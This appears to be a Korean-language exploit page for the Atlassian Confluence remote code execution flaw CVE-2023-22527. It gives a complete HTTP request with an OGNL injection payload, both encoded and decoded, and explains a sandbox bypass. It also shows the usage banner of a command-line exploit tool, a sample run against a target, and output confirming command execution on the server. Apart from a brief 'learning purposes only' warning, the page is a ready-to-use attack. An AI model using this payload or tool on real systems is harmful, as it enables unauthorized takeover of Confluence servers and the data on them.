
# Atlassian Confluence RCE (CVE-2023-22527) 익스플로잇 취약한 서버에서 OGNL 인젝션을 통해 임의 명령을 실행하는 Atlassian Confluence RCE (CVE-2023-22527) 익스플로잇입니다.
Atlassian Confluence - 원격 코드 실행 (CVE-2023-22527)
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
vulhub에서 언급된 우회 방법
Confluence 7.18.0 버전 이후, 공식 개발자는 악성 OGNL 표현식 실행을 제한하기 위해 isSafeExpression 함수를 도입했습니다. 보안 연구원 Alvaro Muñoz는 velocity 템플릿의 #request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(String, Object)를 활용하여 샌드박스가 없는 OGNL 객체를 획득하고 임의의 명령문을 실행하는 우회 방법을 공유했습니다. 전체 및 디코딩된 Payload는 다음과 같습니다:
'+(#request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"})),{}))+'
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║███████╗ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
@Warn: 코드는 학습 목적으로만 제공되며, 다른 용도로 사용하지 마십시오
Usage of CVE-2023-22527.exe:
-c string
Command
-p string
Proxy Url
-t string
Target Url
CVE-2023-22527.exe -t http://127.0.0.1:8090 -c "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔════╝╚════██╗╚════██║
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝███████╗ █████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚════██║██╔═══╝ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗███████║███████╗ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝╚══════╝╚══════╝ ╚═╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
@Warn: 코드는 학습 목적으로만 제공되며, 다른 용도로 사용하지 마십시오
2024-01-23 16:53:16 INFO [+] RCE Result: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)